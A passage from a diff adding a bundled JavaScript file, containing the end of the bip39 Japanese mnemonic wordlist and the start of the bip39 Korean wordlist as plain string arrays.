"きのう", + "きのした", + "きはく", + "きびしい", + "きひん", + "きふく", + "きぶん", + "きぼう", + "きほん", + "きまる", + "きみつ", + "きむずかしい", + "きめる", + "きもだめし", + "きもち", + "きもの", + "きゃく", + "きやく", + "ぎゅうにく", + "きよう", + "きょうりゅう", + "きらい", + "きらく", + "きりん", + "きれい", + "きれつ", + "きろく", + "ぎろん", + "きわめる", + "ぎんいろ", + "きんかくじ", + "きんじょ", + "きんようび", + "ぐあい", + "くいず", + "くうかん", + "くうき", + "くうぐん", + "くうこう", + "ぐうせい", + "くうそう", + "ぐうたら", + "くうふく", + "くうぼ", + "くかん", + "くきょう", + "くげん", + "ぐこう", + "くさい", + "くさき", + "くさばな", + "くさる", + "くしゃみ", + "くしょう", + "くすのき", + "くすりゆび", + "くせげ", + "くせん", + "ぐたいてき", + "くださる", + "くたびれる", + "くちこみ", + "くちさき", + "くつした", + "ぐっすり", + "くつろぐ", + "くとうてん", + "くどく", + "くなん", + "くねくね", + "くのう", + "くふう", + "くみあわせ", + "くみたてる", + "くめる", + "くやくしょ", + "くらす", + "くらべる", + "くるま", + "くれる", + "くろう", + "くわしい", + "ぐんかん", + "ぐんしょく", + "ぐんたい", + "ぐんて", + "けあな", + "けいかく", + "けいけん", + "けいこ", + "けいさつ", + "げいじゅつ", + "けいたい", + "げいのうじん", + "けいれき", + "けいろ", + "けおとす", + "けおりもの", + "げきか", + "げきげん", + "げきだん", + "げきちん", + "げきとつ", + "げきは", + "げきやく", + "げこう", + "げこくじょう", + "げざい", + "けさき", + "げざん", + "けしき", + "けしごむ", + "けしょう", + "げすと", + "けたば", + "けちゃっぷ", + "けちらす", + "けつあつ", + "けつい", + "けつえき", + "けっこん", + "けつじょ", + "けっせき", + "けってい", + "けつまつ", + "げつようび", + "げつれい", + "けつろん", + "げどく", + "けとばす", + "けとる", + "けなげ", + "けなす", + "けなみ", + "けぬき", + "げねつ", + "けねん", + "けはい", + "げひん", + "けぶかい", + "げぼく", + "けまり", + "けみかる", + "けむし", + "けむり", + "けもの", + "けらい", + "けろけろ", + "けわしい", + "けんい", + "けんえつ", + "けんお", + "けんか", + "げんき", + "けんげん", + "けんこう", + "けんさく", + "けんしゅう", + "けんすう", + "げんそう", + "けんちく", + "けんてい", + "けんとう", + "けんない", + "けんにん", + "げんぶつ", + "けんま", + "けんみん", + "けんめい", + "けんらん", + "けんり", + "こあくま", + "こいぬ", + "こいびと", + "ごうい", + "こうえん", + "こうおん", + "こうかん", + "ごうきゅう", + "ごうけい", + "こうこう", + "こうさい", + "こうじ", + "こうすい", + "ごうせい", + "こうそく", + "こうたい", + "こうちゃ", + "こうつう", + "こうてい", + "こうどう", + "こうない", + "こうはい", + "ごうほう", + "ごうまん", + "こうもく", + "こうりつ", + "こえる", + "こおり", + "ごかい", + "ごがつ", + "ごかん", + "こくご", + "こくさい", + "こくとう", + "こくない", + "こくはく", + "こぐま", + "こけい", + "こける", + "ここのか", + "こころ", + "こさめ", + "こしつ", + "こすう", + "こせい", + "こせき", + "こぜん", + "こそだて", + "こたい", + "こたえる", + "こたつ", + "こちょう", + "こっか", + "こつこつ", + "こつばん", + "こつぶ", + "こてい", + "こてん", + "ことがら", + "ことし", + "ことば", + "ことり", + "こなごな", + "こねこね", + "このまま", + "このみ", + "このよ", + "ごはん", + "こひつじ", + "こふう", + "こふん", + "こぼれる", + "ごまあぶら", + "こまかい", + "ごますり", + "こまつな", + "こまる", + "こむぎこ", + "こもじ", + "こもち", + "こもの", + "こもん", + "こやく", + "こやま", + "こゆう", + "こゆび", + "こよい", + "こよう", + "こりる", + "これくしょん", + "ころっけ", + "こわもて", + "こわれる", + "こんいん", + "こんかい", + "こんき", + "こんしゅう", + "こんすい", + "こんだて", + "こんとん", + "こんなん", + "こんびに", + "こんぽん", + "こんまけ", + "こんや", + "こんれい", + "こんわく", + "ざいえき", + "さいかい", + "さいきん", + "ざいげん", + "ざいこ", + "さいしょ", + "さいせい", + "ざいたく", + "ざいちゅう", + "さいてき", + "ざいりょう", + "さうな", + "さかいし", + "さがす", + "さかな", + "さかみち", + "さがる", + "さぎょう", + "さくし", + "さくひん", + "さくら", + "さこく", + "さこつ", + "さずかる", + "ざせき", + "さたん", + "さつえい", + "ざつおん", + "ざっか", + "ざつがく", + "さっきょく", + "ざっし", + "さつじん", + "ざっそう", + "さつたば", + "さつまいも", + "さてい", + "さといも", + "さとう", + "さとおや", + "さとし", + "さとる", + "さのう", + "さばく", + "さびしい", + "さべつ", + "さほう", + "さほど", + "さます", + "さみしい", + "さみだれ", + "さむけ", + "さめる", + "さやえんどう", + "さゆう", + "さよう", + "さよく", + "さらだ", + "ざるそば", + "さわやか", + "さわる", + "さんいん", + "さんか", + "さんきゃく", + "さんこう", + "さんさい", + "ざんしょ", + "さんすう", + "さんせい", + "さんそ", + "さんち", + "さんま", + "さんみ", + "さんらん", + "しあい", + "しあげ", + "しあさって", + "しあわせ", + "しいく", + "しいん", + "しうち", + "しえい", + "しおけ", + "しかい", + "しかく", + "じかん", + "しごと", + "しすう", + "じだい", + "したうけ", + "したぎ", + "したて", + "したみ", + "しちょう", + "しちりん", + "しっかり", + "しつじ", + "しつもん", + "してい", + "してき", + "してつ", + "じてん", + "じどう", + "しなぎれ", + "しなもの", + "しなん", + "しねま", + "しねん", + "しのぐ", + "しのぶ", + "しはい", + "しばかり", + "しはつ", + "しはらい", + "しはん", + "しひょう", + "しふく", + "じぶん", + "しへい", + "しほう", + "しほん", + "しまう", + "しまる", + "しみん", + "しむける", + "じむしょ", + "しめい", + "しめる", + "しもん", + "しゃいん", + "しゃうん", + "しゃおん", + "じゃがいも", + "しやくしょ", + "しゃくほう", + "しゃけん", + "しゃこ", + "しゃざい", + "しゃしん", + "しゃせん", + "しゃそう", + "しゃたい", + "しゃちょう", + "しゃっきん", + "じゃま", + "しゃりん", + "しゃれい", + "じゆう", + "じゅうしょ", + "しゅくはく", + "じゅしん", + "しゅっせき", + "しゅみ", + "しゅらば", + "じゅんばん", + "しょうかい", + "しょくたく", + "しょっけん", + "しょどう", + "しょもつ", + "しらせる", + "しらべる", + "しんか", + "しんこう", + "じんじゃ", + "しんせいじ", + "しんちく", + "しんりん", + "すあげ", + "すあし", + "すあな", + "ずあん", + "すいえい", + "すいか", + "すいとう", + "ずいぶん", + "すいようび", + "すうがく", + "すうじつ", + "すうせん", + "すおどり", + "すきま", + "すくう", + "すくない", + "すける", + "すごい", + "すこし", + "ずさん", + "すずしい", + "すすむ", + "すすめる", + "すっかり", + "ずっしり", + "ずっと", + "すてき", + "すてる", + "すねる", + "すのこ", + "すはだ", + "すばらしい", + "ずひょう", + "ずぶぬれ", + "すぶり", + "すふれ", + "すべて", + "すべる", + "ずほう", + "すぼん", + "すまい", + "すめし", + "すもう", + "すやき", + "すらすら", + "するめ", + "すれちがう", + "すろっと", + "すわる", + "すんぜん", + "すんぽう", + "せあぶら", + "せいかつ", + "せいげん", + "せいじ", + "せいよう", + "せおう", + "せかいかん", + "せきにん", + "せきむ", + "せきゆ", + "せきらんうん", + "せけん", + "せこう", + "せすじ", + "せたい", + "せたけ", + "せっかく", + "せっきゃく", + "ぜっく", + "せっけん", + "せっこつ", + "せっさたくま", + "せつぞく", + "せつだん", + "せつでん", + "せっぱん", + "せつび", + "せつぶん", + "せつめい", + "せつりつ", + "せなか", + "せのび", + "せはば", + "せびろ", + "せぼね", + "せまい", + "せまる", + "せめる", + "せもたれ", + "せりふ", + "ぜんあく", + "せんい", + "せんえい", + "せんか", + "せんきょ", + "せんく", + "せんげん", + "ぜんご", + "せんさい", + "せんしゅ", + "せんすい", + "せんせい", + "せんぞ", + "せんたく", + "せんちょう", + "せんてい", + "せんとう", + "せんぬき", + "せんねん", + "せんぱい", + "ぜんぶ", + "ぜんぽう", + "せんむ", + "せんめんじょ", + "せんもん", + "せんやく", + "せんゆう", + "せんよう", + "ぜんら", + "ぜんりゃく", + "せんれい", + "せんろ", + "そあく", + "そいとげる", + "そいね", + "そうがんきょう", + "そうき", + "そうご", + "そうしん", + "そうだん", + "そうなん", + "そうび", + "そうめん", + "そうり", + "そえもの", + "そえん", + "そがい", + "そげき", + "そこう", + "そこそこ", + "そざい", + "そしな", + "そせい", + "そせん", + "そそぐ", + "そだてる", + "そつう", + "そつえん", + "そっかん", + "そつぎょう", + "そっけつ", + "そっこう", + "そっせん", + "そっと", + "そとがわ", + "そとづら", + "そなえる", + "そなた", + "そふぼ", + "そぼく", + "そぼろ", + "そまつ", + "そまる", + "そむく", + "そむりえ", + "そめる", + "そもそも", + "そよかぜ", + "そらまめ", + "そろう", + "そんかい", + "そんけい", + "そんざい", + "そんしつ", + "そんぞく", + "そんちょう", + "ぞんび", + "ぞんぶん", + "そんみん", + "たあい", + "たいいん", + "たいうん", + "たいえき", + "たいおう", + "だいがく", + "たいき", + "たいぐう", + "たいけん", + "たいこ", + "たいざい", + "だいじょうぶ", + "だいすき", + "たいせつ", + "たいそう", + "だいたい", + "たいちょう", + "たいてい", + "だいどころ", + "たいない", + "たいねつ", + "たいのう", + "たいはん", + "だいひょう", + "たいふう", + "たいへん", + "たいほ", + "たいまつばな", + "たいみんぐ", + "たいむ", + "たいめん", + "たいやき", + "たいよう", + "たいら", + "たいりょく", + "たいる", + "たいわん", + "たうえ", + "たえる", + "たおす", + "たおる", + "たおれる", + "たかい", + "たかね", + "たきび", + "たくさん", + "たこく", + "たこやき", + "たさい", + "たしざん", + "だじゃれ", + "たすける", + "たずさわる", + "たそがれ", + "たたかう", + "たたく", + "ただしい", + "たたみ", + "たちばな", + "だっかい", + "だっきゃく", + "だっこ", + "だっしゅつ", + "だったい", + "たてる", + "たとえる", + "たなばた", + "たにん", + "たぬき", + "たのしみ", + "たはつ", + "たぶん", + "たべる", + "たぼう", + "たまご", + "たまる", + "だむる", + "ためいき", + "ためす", + "ためる", + "たもつ", + "たやすい", + "たよる", + "たらす", + "たりきほんがん", + "たりょう", + "たりる", + "たると", + "たれる", + "たれんと", + "たろっと", + "たわむれる", + "だんあつ", + "たんい", + "たんおん", + "たんか", + "たんき", + "たんけん", + "たんご", + "たんさん", + "たんじょうび", + "だんせい", + "たんそく", + "たんたい", + "だんち", + "たんてい", + "たんとう", + "だんな", + "たんにん", + "だんねつ", + "たんのう", + "たんぴん", + "だんぼう", + "たんまつ", + "たんめい", + "だんれつ", + "だんろ", + "だんわ", + "ちあい", + "ちあん", + "ちいき", + "ちいさい", + "ちえん", + "ちかい", + "ちから", + "ちきゅう", + "ちきん", + "ちけいず", + "ちけん", + "ちこく", + "ちさい", + "ちしき", + "ちしりょう", + "ちせい", + "ちそう", + "ちたい", + "ちたん", + "ちちおや", + "ちつじょ", + "ちてき", + "ちてん", + "ちぬき", + "ちぬり", + "ちのう", + "ちひょう", + "ちへいせん", + "ちほう", + "ちまた", + "ちみつ", + "ちみどろ", + "ちめいど", + "ちゃんこなべ", + "ちゅうい", + "ちゆりょく", + "ちょうし", + "ちょさくけん", + "ちらし", + "ちらみ", + "ちりがみ", + "ちりょう", + "ちるど", + "ちわわ", + "ちんたい", + "ちんもく", + "ついか", + "ついたち", + "つうか", + "つうじょう", + "つうはん", + "つうわ", + "つかう", + "つかれる", + "つくね", + "つくる", + "つけね", + "つける", + "つごう", + "つたえる", + "つづく", + "つつじ", + "つつむ", + "つとめる", + "つながる", + "つなみ", + "つねづね", + "つのる", + "つぶす", + "つまらない", + "つまる", + "つみき", + "つめたい", + "つもり", + "つもる", + "つよい", + "つるぼ", + "つるみく", + "つわもの", + "つわり", + "てあし", + "てあて", + "てあみ", + "ていおん", + "ていか", + "ていき", + "ていけい", + "ていこく", + "ていさつ", + "ていし", + "ていせい", + "ていたい", + "ていど", + "ていねい", + "ていひょう", + "ていへん", + "ていぼう", + "てうち", + "ておくれ", + "てきとう", + "てくび", + "でこぼこ", + "てさぎょう", + "てさげ", + "てすり", + "てそう", + "てちがい", + "てちょう", + "てつがく", + "てつづき", + "でっぱ", + "てつぼう", + "てつや", + "でぬかえ", + "てぬき", + "てぬぐい", + "てのひら", + "てはい", + "てぶくろ", + "てふだ", + "てほどき", + "てほん", + "てまえ", + "てまきずし", + "てみじか", + "てみやげ", + "てらす", + "てれび", + "てわけ", + "てわたし", + "でんあつ", + "てんいん", + "てんかい", + "てんき", + "てんぐ", + "てんけん", + "てんごく", + "てんさい", + "てんし", + "てんすう", + "でんち", + "てんてき", + "てんとう", + "てんない", + "てんぷら", + "てんぼうだい", + "てんめつ", + "てんらんかい", + "でんりょく", + "でんわ", + "どあい", + "といれ", + "どうかん", + "とうきゅう", + "どうぐ", + "とうし", + "とうむぎ", + "とおい", + "とおか", + "とおく", + "とおす", + "とおる", + "とかい", + "とかす", + "ときおり", + "ときどき", + "とくい", + "とくしゅう", + "とくてん", + "とくに", + "とくべつ", + "とけい", + "とける", + "とこや", + "とさか", + "としょかん", + "とそう", + "とたん", + "とちゅう", + "とっきゅう", + "とっくん", + "とつぜん", + "とつにゅう", + "とどける", + "ととのえる", + "とない", + "となえる", + "となり", + "とのさま", + "とばす", + "どぶがわ", + "とほう", + "とまる", + "とめる", + "ともだち", + "ともる", + "どようび", + "とらえる", + "とんかつ", + "どんぶり", + "ないかく", + "ないこう", + "ないしょ", + "ないす", + "ないせん", + "ないそう", + "なおす", + "ながい", + "なくす", + "なげる", + "なこうど", + "なさけ", + "なたでここ", + "なっとう", + "なつやすみ", + "ななおし", + "なにごと", + "なにもの", + "なにわ", + "なのか", + "なふだ", + "なまいき", + "なまえ", + "なまみ", + "なみだ", + "なめらか", + "なめる", + "なやむ", + "ならう", + "ならび", + "ならぶ", + "なれる", + "なわとび", + "なわばり", + "にあう", + "にいがた", + "にうけ", + "におい", + "にかい", + "にがて", + "にきび", + "にくしみ", + "にくまん", + "にげる", + "にさんかたんそ", + "にしき", + "にせもの", + "にちじょう", + "にちようび", + "にっか", + "にっき", + "にっけい", + "にっこう", + "にっさん", + "にっしょく", + "にっすう", + "にっせき", + "にってい", + "になう", + "にほん", + "にまめ", + "にもつ", + "にやり", + "にゅういん", + "にりんしゃ", + "にわとり", + "にんい", + "にんか", + "にんき", + "にんげん", + "にんしき", + "にんずう", + "にんそう", + "にんたい", + "にんち", + "にんてい", + "にんにく", + "にんぷ", + "にんまり", + "にんむ", + "にんめい", + "にんよう", + "ぬいくぎ", + "ぬかす", + "ぬぐいとる", + "ぬぐう", + "ぬくもり", + "ぬすむ", + "ぬまえび", + "ぬめり", + "ぬらす", + "ぬんちゃく", + "ねあげ", + "ねいき", + "ねいる", + "ねいろ", + "ねぐせ", + "ねくたい", + "ねくら", + "ねこぜ", + "ねこむ", + "ねさげ", + "ねすごす", + "ねそべる", + "ねだん", + "ねつい", + "ねっしん", + "ねつぞう", + "ねったいぎょ", + "ねぶそく", + "ねふだ", + "ねぼう", + "ねほりはほり", + "ねまき", + "ねまわし", + "ねみみ", + "ねむい", + "ねむたい", + "ねもと", + "ねらう", + "ねわざ", + "ねんいり", + "ねんおし", + "ねんかん", + "ねんきん", + "ねんぐ", + "ねんざ", + "ねんし", + "ねんちゃく", + "ねんど", + "ねんぴ", + "ねんぶつ", + "ねんまつ", + "ねんりょう", + "ねんれい", + "のいず", + "のおづま", + "のがす", + "のきなみ", + "のこぎり", + "のこす", + "のこる", + "のせる", + "のぞく", + "のぞむ", + "のたまう", + "のちほど", + "のっく", + "のばす", + "のはら", + "のべる", + "のぼる", + "のみもの", + "のやま", + "のらいぬ", + "のらねこ", + "のりもの", + "のりゆき", + "のれん", + "のんき", + "ばあい", + "はあく", + "ばあさん", + "ばいか", + "ばいく", + "はいけん", + "はいご", + "はいしん", + "はいすい", + "はいせん", + "はいそう", + "はいち", + "ばいばい", + "はいれつ", + "はえる", + "はおる", + "はかい", + "ばかり", + "はかる", + "はくしゅ", + "はけん", + "はこぶ", + "はさみ", + "はさん", + "はしご", + "ばしょ", + "はしる", + "はせる", + "ぱそこん", + "はそん", + "はたん", + "はちみつ", + "はつおん", + "はっかく", + "はづき", + "はっきり", + "はっくつ", + "はっけん", + "はっこう", + "はっさん", + "はっしん", + "はったつ", + "はっちゅう", + "はってん", + "はっぴょう", + "はっぽう", + "はなす", + "はなび", + "はにかむ", + "はぶらし", + "はみがき", + "はむかう", + "はめつ", + "はやい", + "はやし", + "はらう", + "はろうぃん", + "はわい", + "はんい", + "はんえい", + "はんおん", + "はんかく", + "はんきょう", + "ばんぐみ", + "はんこ", + "はんしゃ", + "はんすう", + "はんだん", + "ぱんち", + "ぱんつ", + "はんてい", + "はんとし", + "はんのう", + "はんぱ", + "はんぶん", + "はんぺん", + "はんぼうき", + "はんめい", + "はんらん", + "はんろん", + "ひいき", + "ひうん", + "ひえる", + "ひかく", + "ひかり", + "ひかる", + "ひかん", + "ひくい", + "ひけつ", + "ひこうき", + "ひこく", + "ひさい", + "ひさしぶり", + "ひさん", + "びじゅつかん", + "ひしょ", + "ひそか", + "ひそむ", + "ひたむき", + "ひだり", + "ひたる", + "ひつぎ", + "ひっこし", + "ひっし", + "ひつじゅひん", + "ひっす", + "ひつぜん", + "ぴったり", + "ぴっちり", + "ひつよう", + "ひてい", + "ひとごみ", + "ひなまつり", + "ひなん", + "ひねる", + "ひはん", + "ひびく", + "ひひょう", + "ひほう", + "ひまわり", + "ひまん", + "ひみつ", + "ひめい", + "ひめじし", + "ひやけ", + "ひやす", + "ひよう", + "びょうき", + "ひらがな", + "ひらく", + "ひりつ", + "ひりょう", + "ひるま", + "ひるやすみ", + "ひれい", + "ひろい", + "ひろう", + "ひろき", + "ひろゆき", + "ひんかく", + "ひんけつ", + "ひんこん", + "ひんしゅ", + "ひんそう", + "ぴんち", + "ひんぱん", + "びんぼう", + "ふあん", + "ふいうち", + "ふうけい", + "ふうせん", + "ぷうたろう", + "ふうとう", + "ふうふ", + "ふえる", + "ふおん", + "ふかい", + "ふきん", + "ふくざつ", + "ふくぶくろ", + "ふこう", + "ふさい", + "ふしぎ", + "ふじみ", + "ふすま", + "ふせい", + "ふせぐ", + "ふそく", + "ぶたにく", + "ふたん", + "ふちょう", + "ふつう", + "ふつか", + "ふっかつ", + "ふっき", + "ふっこく", + "ぶどう", + "ふとる", + "ふとん", + "ふのう", + "ふはい", + "ふひょう", + "ふへん", + "ふまん", + "ふみん", + "ふめつ", + "ふめん", + "ふよう", + "ふりこ", + "ふりる", + "ふるい", + "ふんいき", + "ぶんがく", + "ぶんぐ", + "ふんしつ", + "ぶんせき", + "ふんそう", + "ぶんぽう", + "へいあん", + "へいおん", + "へいがい", + "へいき", + "へいげん", + "へいこう", + "へいさ", + "へいしゃ", + "へいせつ", + "へいそ", + "へいたく", + "へいてん", + "へいねつ", + "へいわ", + "へきが", + "へこむ", + "べにいろ", + "べにしょうが", + "へらす", + "へんかん", + "べんきょう", + "べんごし", + "へんさい", + "へんたい", + "べんり", + "ほあん", + "ほいく", + "ぼうぎょ", + "ほうこく", + "ほうそう", + "ほうほう", + "ほうもん", + "ほうりつ", + "ほえる", + "ほおん", + "ほかん", + "ほきょう", + "ぼきん", + "ほくろ", + "ほけつ", + "ほけん", + "ほこう", + "ほこる", + "ほしい", + "ほしつ", + "ほしゅ", + "ほしょう", + "ほせい", + "ほそい", + "ほそく", + "ほたて", + "ほたる", + "ぽちぶくろ", + "ほっきょく", + "ほっさ", + "ほったん", + "ほとんど", + "ほめる", + "ほんい", + "ほんき", + "ほんけ", + "ほんしつ", + "ほんやく", + "まいにち", + "まかい", + "まかせる", + "まがる", + "まける", + "まこと", + "まさつ", + "まじめ", + "ますく", + "まぜる", + "まつり", + "まとめ", + "まなぶ", + "まぬけ", + "まねく", + "まほう", + "まもる", + "まゆげ", + "まよう", + "まろやか", + "まわす", + "まわり", + "まわる", + "まんが", + "まんきつ", + "まんぞく", + "まんなか", + "みいら", + "みうち", + "みえる", + "みがく", + "みかた", + "みかん", + "みけん", + "みこん", + "みじかい", + "みすい", + "みすえる", + "みせる", + "みっか", + "みつかる", + "みつける", + "みてい", + "みとめる", + "みなと", + "みなみかさい", + "みねらる", + "みのう", + "みのがす", + "みほん", + "みもと", + "みやげ", + "みらい", + "みりょく", + "みわく", + "みんか", + "みんぞく", + "むいか", + "むえき", + "むえん", + "むかい", + "むかう", + "むかえ", + "むかし", + "むぎちゃ", + "むける", + "むげん", + "むさぼる", + "むしあつい", + "むしば", + "むじゅん", + "むしろ", + "むすう", + "むすこ", + "むすぶ", + "むすめ", + "むせる", + "むせん", + "むちゅう", + "むなしい", + "むのう", + "むやみ", + "むよう", + "むらさき", + "むりょう", + "むろん", + "めいあん", + "めいうん", + "めいえん", + "めいかく", + "めいきょく", + "めいさい", + "めいし", + "めいそう", + "めいぶつ", + "めいれい", + "めいわく", + "めぐまれる", + "めざす", + "めした", + "めずらしい", + "めだつ", + "めまい", + "めやす", + "めんきょ", + "めんせき", + "めんどう", + "もうしあげる", + "もうどうけん", + "もえる", + "もくし", + "もくてき", + "もくようび", + "もちろん", + "もどる", + "もらう", + "もんく", + "もんだい", + "やおや", + "やける", + "やさい", + "やさしい", + "やすい", + "やすたろう", + "やすみ", + "やせる", + "やそう", + "やたい", + "やちん", + "やっと", + "やっぱり", + "やぶる", + "やめる", + "ややこしい", + "やよい", + "やわらかい", + "ゆうき", + "ゆうびんきょく", + "ゆうべ", + "ゆうめい", + "ゆけつ", + "ゆしゅつ", + "ゆせん", + "ゆそう", + "ゆたか", + "ゆちゃく", + "ゆでる", + "ゆにゅう", + "ゆびわ", + "ゆらい", + "ゆれる", + "ようい", + "ようか", + "ようきゅう", + "ようじ", + "ようす", + "ようちえん", + "よかぜ", + "よかん", + "よきん", + "よくせい", + "よくぼう", + "よけい", + "よごれる", + "よさん", + "よしゅう", + "よそう", + "よそく", + "よっか", + "よてい", + "よどがわく", + "よねつ", + "よやく", + "よゆう", + "よろこぶ", + "よろしい", + "らいう", + "らくがき", + "らくご", + "らくさつ", + "らくだ", + "らしんばん", + "らせん", + "らぞく", + "らたい", + "らっか", + "られつ", + "りえき", + "りかい", + "りきさく", + "りきせつ", + "りくぐん", + "りくつ", + "りけん", + "りこう", + "りせい", + "りそう", + "りそく", + "りてん", + "りねん", + "りゆう", + "りゅうがく", + "りよう", + "りょうり", + "りょかん", + "りょくちゃ", + "りょこう", + "りりく", + "りれき", + "りろん", + "りんご", + "るいけい", + "るいさい", + "るいじ", + "るいせき", + "るすばん", + "るりがわら", + "れいかん", + "れいぎ", + "れいせい", + "れいぞうこ", + "れいとう", + "れいぼう", + "れきし", + "れきだい", + "れんあい", + "れんけい", + "れんこん", + "れんさい", + "れんしゅう", + "れんぞく", + "れんらく", + "ろうか", + "ろうご", + "ろうじん", + "ろうそく", + "ろくが", + "ろこつ", + "ろじうら", + "ろしゅつ", + "ろせん", + "ろてん", + "ろめん", + "ろれつ", + "ろんぎ", + "ろんぱ", + "ろんぶん", + "ろんり", + "わかす", + "わかめ", + "わかやま", + "わかれる", + "わしつ", + "わじまし", + "わすれもの", + "わらう", + "われる" + ]; +}); + +// node_modules/bip39/wordlists/korean.json +var require_korean = __commonJS((exports, module) => { + module.exports = [ + "가격", + "가끔", + "가난", + "가능", + "가득", + "가르침", + "가뭄", + "가방", + "가상", + "가슴", + "가운데", + "가을", + "가이드", + "가입", + "가장", + "가정", + "가족", + "가죽", + "각오", + "각자", + "간격", + "간부", + "간섭", + "간장", + "간접", + "간판", + "갈등", + "갈비", + "갈색", + "갈증", + "감각", + "감기", + "감소", + "감수성", + "감자", + "감정", + "갑자기", + "강남", + "강당", + "강도", + "강력히", + "강변", + "강북", + "강사", + "강수량", + "강아지", + "강원도", + "강의", + "강제", + "강조", + "같이", + "개구리", + "개나리", + "개방", + "개별", + "개선", + "개성", + "개인", + "객관적", + "거실", + "거액", + "거울", + "거짓", + "거품", + "걱정", + "건강", + "건물", + "건설", + "건조", + "건축", + "걸음", + "검사", + "검토", + "게시판", + "게임", + "겨울", + "견해", + "결과", + "결국", + "결론", + "결석", + "결승", + "결심", + "결정", + "결혼", + "경계", + "경고", + "경기", + "경력", + "경복궁", + "경비", + "경상도", + "경영", + "경우", + "경쟁", + "경제", + "경주", + "경찰", + "경치", + "경향", + "경험", + "계곡", + "계단", + "계란", + "계산", + "계속", + "계약", + "계절", + "계층", + "계획", + "고객", + "고구려", + "고궁", + "고급", + "고등학생", + "고무신", + "고민", + "고양이", + "고장", + "고전", + "고집", + "고춧가루", + "고통", + "고향", + "곡식", + "골목", + "골짜기", + "골프", + "공간", + "공개", + "공격", + "공군", + "공급", + "공기", + "공동", + "공무원", + "공부", + "공사", + "공식", + "공업", + "공연", + "공원", + "공장", + "공짜", + "공책", + "공통", + "공포", + "공항", + "공휴일", + "과목", + "과일", + "과장", + "과정", + "과학", + "관객", + "관계", + "관광", + "관념", + "관람", + "관련", + "관리", + "관습", + "관심", + "관점", + "관찰", + "광경", + "광고", + "광장", + "광주", + "괴로움", + "굉장히", + "교과서", + "교문", + "교복", + "교실", + "교양", + "교육", + "교장", + "교직", + "교통", + "교환", + "교훈", + "구경", + "구름", + "구멍", + "구별", + "구분", + "구석", + "구성", + "구속", + "구역", + "구입", + "구청", + "구체적", + "국가", + "국기", + "국내", + "국립", + "국물", + "국민", + "국수", + "국어", + "국왕", + "국적", + "국제", + "국회", + "군대", + "군사", + "군인", + "궁극적", + "권리", + "권위", + "권투", + "귀국", + "귀신", + "규정", + "규칙", + "균형", + "그날", + "그냥", + "그늘", + "그러나", + "그룹", + "그릇", + "그림", + "그제서야", + "그토록", + "극복", + "극히", + "근거", + "근교", + "근래", + "근로", + "근무", + "근본", + "근원", + "근육", + "근처", + "글씨", + "글자", + "금강산", + "금고", + "금년", + "금메달", + "금액", + "금연", + "금요일", + "금지", + "긍정적", + "기간", + "기관", + "기념", + "기능", + "기독교", + "기둥", + "기록", + "기름", + "기법", + "기본", + "기분", + "기쁨", + "기숙사", + "기술", + "기억", + "기업", + "기온", + "기운", + "기원", + "기적", + "기준", + "기침", + "기혼", + "기획", + "긴급", + "긴장", + "길이", + "김밥", + "김치", + "김포공항", + "깍두기", + "깜빡", + "깨달음", + "깨소금", + "껍질", + "꼭대기", + "꽃잎", + "나들이", + "나란히", + "나머지", + "나물", + "나침반", + "나흘", + "낙엽", + "난방", + "날개", + "날씨", + "날짜", + "남녀", + "남대문", + "남매", + "남산", + "남자", + "남편", + "남학생", + "낭비", + "낱말", + "내년", + "내용", + "내일", + "냄비", + "냄새", + "냇물", + "냉동", + "냉면", + "냉방", + "냉장고", + "넥타이", + "넷째", + "노동", + "노란색", + "노력", + "노인", + "녹음", + "녹차", + "녹화", + "논리", + "논문", + "논쟁", + "놀이", + "농구", + "농담", + "농민", + "농부", + "농업", + "농장", + "농촌", + "높이", + "눈동자", + "눈물", + "눈썹", + "뉴욕", + "느낌", + "늑대", + "능동적", + "능력", + "다방", + "다양성", + "다음", + "다이어트", + "다행", + "단계", + "단골", + "단독", + "단맛", + "단순", + "단어", + "단위", + "단점", + "단체", + "단추", + "단편", + "단풍", + "달걀", + "달러", + "달력", + "달리", + "닭고기", + "담당", + "담배", + "담요", + "담임", + "답변", + "답장", + "당근", + "당분간", + "당연히", + "당장", + "대규모", + "대낮", + "대단히", + "대답", + "대도시", + "대략", + "대량", + "대륙", + "대문", + "대부분", + "대신", + "대응", + "대장", + "대전", + "대접", + "대중", + "대책", + "대출", + "대충", + "대통령", + "대학", + "대한민국", + "대합실", + "대형", + "덩어리", + "데이트", + "도대체", + "도덕", + "도둑", + "도망", + "도서관", + "도심", + "도움", + "도입", + "도자기", + "도저히", + "도전", + "도중", + "도착", + "독감", + "독립", + "독서", + "독일", + "독창적", + "동화책", + "뒷모습", + "뒷산", + "딸아이", + "마누라", + "마늘", + "마당", + "마라톤", + "마련", + "마무리", + "마사지", + "마약", + "마요네즈", + "마을", + "마음", + "마이크", + "마중", + "마지막", + "마찬가지", + "마찰", + "마흔", + "막걸리", + "막내", + "막상", + "만남", + "만두", + "만세", + "만약", + "만일", + "만점", + "만족", + "만화", + "많이", + "말기", + "말씀", + "말투", + "맘대로", + "망원경", + "매년", + "매달", + "매력", + "매번", + "매스컴", + "매일", + "매장", + "맥주", + "먹이", + "먼저", + "먼지", + "멀리", + "메일", + "며느리", + "며칠", + "면담", + "멸치", + "명단", + "명령", + "명예", + "명의", + "명절", + "명칭", + "명함", + "모금", + "모니터", + "모델", + "모든", + "모범", + "모습", + "모양", + "모임", + "모조리", + "모집", + "모퉁이", + "목걸이", + "목록", + "목사", + "목소리", + "목숨", + "목적", + "목표", + "몰래", + "몸매", + "몸무게", + "몸살", + "몸속", + "몸짓", + "몸통", + "몹시", + "무관심", + "무궁화", + "무더위", + "무덤", + "무릎", + "무슨", + "무엇", + "무역", + "무용", + "무조건", + "무지개", + "무척", + "문구", + "문득", + "문법", + "문서", + "문제", + "문학", + "문화", + "물가", + "물건", + "물결", + "물고기", + "물론", + "물리학", + "물음", + "물질", + "물체", + "미국", + "미디어", + "미사일", + "미술", + "미역", + "미용실", + "미움", + "미인", + "미팅", + "미혼", + "민간", + "민족", + "민주", + "믿음", + "밀가루", + "밀리미터", + "밑바닥", + "바가지", + "바구니", + "바나나", + "바늘", + "바닥", + "바닷가", + "바람", + "바이러스", + "바탕", + "박물관", + "박사", + "박수", + "반대", + "반드시", + "반말", + "반발", + "반성", + "반응", + "반장", + "반죽", + "반지", + "반찬", + "받침", + "발가락", + "발걸음", + "발견", + "발달", + "발레", + "발목", + "발바닥", + "발생", + "발음", + "발자국", + "발전", + "발톱", + "발표", + "밤하늘", + "밥그릇", + "밥맛", + "밥상", + "밥솥", + "방금", + "방면", + "방문", + "방바닥", + "방법", + "방송", + "방식", + "방안", + "방울", + "방지", + "방학", + "방해", + "방향", + "배경", 